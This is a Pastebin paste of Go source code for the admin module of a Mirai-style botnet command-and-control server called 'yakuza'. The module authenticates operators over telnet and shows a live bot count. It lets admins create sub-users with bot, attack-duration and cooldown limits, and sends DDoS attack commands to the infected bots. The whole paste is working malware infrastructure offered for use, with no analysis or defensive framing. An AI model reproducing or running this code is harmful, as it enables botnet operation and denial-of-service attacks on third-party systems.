Advertisement
rev1k

admin.go yakuza for baroy :3

Aug 31st, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.31 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. // Get username
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\x1b[0;33u\x1b[0;34m: \033[0m"))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. // Get password
  36. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37. this.conn.Write([]byte("\x1b[0;33p\x1b[0;34m: \033[0m"))
  38. password, err := this.ReadLine(true)
  39. if err != nil {
  40. return
  41. }
  42.  
  43. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44. this.conn.Write([]byte("\r\n"))
  45.  
  46. var loggedIn bool
  47. var userInfo AccountInfo
  48. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  49. this.conn.Write([]byte("\r\033[00;31m無効: \033[00;37mバイバイ!\r\n"))
  50. buf := make([]byte, 1)
  51. this.conn.Read(buf)
  52. return
  53. }
  54.  
  55. this.conn.Write([]byte("\r\n\033[0m"))
  56. go func() {
  57. i := 0
  58. for {
  59. var BotCount int
  60. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  61. BotCount = userInfo.maxBots
  62. } else {
  63. BotCount = clientList.Count()
  64. }
  65.  
  66. time.Sleep(time.Second)
  67. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;botcount: %d | %s\007", BotCount, username))); err != nil {
  68. this.conn.Close()
  69. break
  70. }
  71. i++
  72. if i % 60 == 0 {
  73. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  74. }
  75. }
  76. }()
  77. this.conn.Write([]byte("\033[2J\033[1H"))
  78. this.conn.Write([]byte("\033[0;33m ▀▄ ▄ ██ █ █▀ ▄ ▄▄▄▄▄▄ ██ \r\n"))
  79. this.conn.Write([]byte("\033[0;33m █ █ █ █ █▄█ █ ▀ ▄▄▀ █ █ \r\n"))
  80. this.conn.Write([]byte("\033[0;33m ▀█ █▄▄█ █▀▄ █ █ ▄▀▀ ▄▀ █▄▄█ \r\n"))
  81. this.conn.Write([]byte("\033[0;33m █ █ █ █ █ █ █ ▀▀▀▀▀▀ █ █ \r\n"))
  82. this.conn.Write([]byte("\033[0;33m ▄▀ █ █ █▄ ▄█ █ \r\n"))
  83. this.conn.Write([]byte("\033[0;33m █ ▀ ▀▀▀ █ \r\n"))
  84. this.conn.Write([]byte("\033[0;33m ▀ ▀ \r\n"))
  85. this.conn.Write([]byte("\033[1;31m [ welcome to yakuza ] \r\n"))
  86. for {
  87. var botCatagory string
  88. var botCount int
  89. this.conn.Write([]byte("\033[\033[1;31m" + username + "\033[01;35m@\033[\033[1;33myakuza \033[01;31m$ \033[0;97m"))
  90. cmd, err := this.ReadLine(false)
  91.  
  92. if cmd == "clear" || cmd == "cls" || cmd == "c" {
  93. this.conn.Write([]byte("\033[2J\033[1H"))
  94. this.conn.Write([]byte("\033[0;33m ▀▄ ▄ ██ █ █▀ ▄ ▄▄▄▄▄▄ ██ \r\n"))
  95. this.conn.Write([]byte("\033[0;33m █ █ █ █ █▄█ █ ▀ ▄▄▀ █ █ \r\n"))
  96. this.conn.Write([]byte("\033[0;33m ▀█ █▄▄█ █▀▄ █ █ ▄▀▀ ▄▀ █▄▄█ \r\n"))
  97. this.conn.Write([]byte("\033[0;33m █ █ █ █ █ █ █ ▀▀▀▀▀▀ █ █ \r\n"))
  98. this.conn.Write([]byte("\033[0;33m ▄▀ █ █ █▄ ▄█ █ \r\n"))
  99. this.conn.Write([]byte("\033[0;33m █ ▀ ▀▀▀ █ \r\n"))
  100. this.conn.Write([]byte("\033[0;33m ▀ ▀ \r\n"))
  101. this.conn.Write([]byte("\033[1;31m [ welcome to yakuza ] \r\n"))
  102. continue
  103. }
  104. if err != nil || cmd == "exit" || cmd == "quit" {
  105. return
  106. }
  107.  
  108. if cmd == "" {
  109. continue
  110. }
  111.  
  112. botCount = userInfo.maxBots
  113.  
  114. if userInfo.admin == 1 && cmd == "adduser" {
  115. this.conn.Write([]byte("Enter new username: "))
  116. new_un, err := this.ReadLine(false)
  117. if err != nil {
  118. return
  119. }
  120. this.conn.Write([]byte("Enter new password: "))
  121. new_pw, err := this.ReadLine(false)
  122. if err != nil {
  123. return
  124. }
  125. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  126. max_bots_str, err := this.ReadLine(false)
  127. if err != nil {
  128. return
  129. }
  130. max_bots, err := strconv.Atoi(max_bots_str)
  131. if err != nil {
  132. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  133. continue
  134. }
  135. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  136. duration_str, err := this.ReadLine(false)
  137. if err != nil {
  138. return
  139. }
  140. duration, err := strconv.Atoi(duration_str)
  141. if err != nil {
  142. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  143. continue
  144. }
  145. this.conn.Write([]byte("Cooldown time (0 for none): "))
  146. cooldown_str, err := this.ReadLine(false)
  147. if err != nil {
  148. return
  149. }
  150. cooldown, err := strconv.Atoi(cooldown_str)
  151. if err != nil {
  152. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  153. continue
  154. }
  155. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  156. confirm, err := this.ReadLine(false)
  157. if err != nil {
  158. return
  159. }
  160. if confirm != "y" {
  161. continue
  162. }
  163. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  164. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  165. } else {
  166. this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  167. }
  168. continue
  169. }
  170.  
  171. if cmd == "bots" {
  172. botCount = clientList.Count()
  173. m := clientList.Distribution()
  174. for k, v := range m {
  175. this.conn.Write([]byte(fmt.Sprintf("\033[\033[01;30m%s\033[00;37m:\t%d\r\n", k, v)))
  176. }
  177. continue
  178. }
  179. if cmd[0] == '-' {
  180. countSplit := strings.SplitN(cmd, " ", 2)
  181. count := countSplit[0][1:]
  182. botCount, err = strconv.Atoi(count)
  183. if err != nil {
  184. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  185. continue
  186. }
  187. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  188. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  189. continue
  190. }
  191. cmd = countSplit[1]
  192. }
  193. if userInfo.admin == 1 && cmd[0] == '@' {
  194. cataSplit := strings.SplitN(cmd, " ", 2)
  195. botCatagory = cataSplit[0][1:]
  196. cmd = cataSplit[1]
  197. }
  198.  
  199. atk, err := NewAttack(cmd, userInfo.admin)
  200. if err != nil {
  201. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  202. } else {
  203. buf, err := atk.Build()
  204. if err != nil {
  205. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  206. } else {
  207. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  208. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  209. } else if !database.ContainsWhitelistedTargets(atk) {
  210. clientList.QueueBuf(buf, botCount, botCatagory)
  211. } else {
  212. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  213. }
  214. }
  215. }
  216. }
  217. }
  218.  
  219. func (this *Admin) ReadLine(masked bool) (string, error) {
  220. buf := make([]byte, 1024)
  221. bufPos := 0
  222.  
  223. for {
  224. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  225. if err != nil || n != 1 {
  226. return "", err
  227. }
  228. if buf[bufPos] == '\xFF' {
  229. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  230. if err != nil || n != 2 {
  231. return "", err
  232. }
  233. bufPos--
  234. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  235. if bufPos > 0 {
  236. this.conn.Write([]byte(string(buf[bufPos])))
  237. bufPos--
  238. }
  239. bufPos--
  240. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  241. bufPos--
  242. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  243. this.conn.Write([]byte("\r\n"))
  244. return string(buf[:bufPos]), nil
  245. } else if buf[bufPos] == 0x03 {
  246. this.conn.Write([]byte("^C\r\n"))
  247. return "", nil
  248. } else {
  249. if buf[bufPos] == '\x1B' {
  250. buf[bufPos] = '^';
  251. this.conn.Write([]byte(string(buf[bufPos])))
  252. bufPos++;
  253. buf[bufPos] = '[';
  254. this.conn.Write([]byte(string(buf[bufPos])))
  255. } else if masked {
  256. this.conn.Write([]byte("*"))
  257. } else {
  258. this.conn.Write([]byte(string(buf[bufPos])))
  259. }
  260. }
  261. bufPos++
  262. }
  263. return string(buf), nil
  264. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement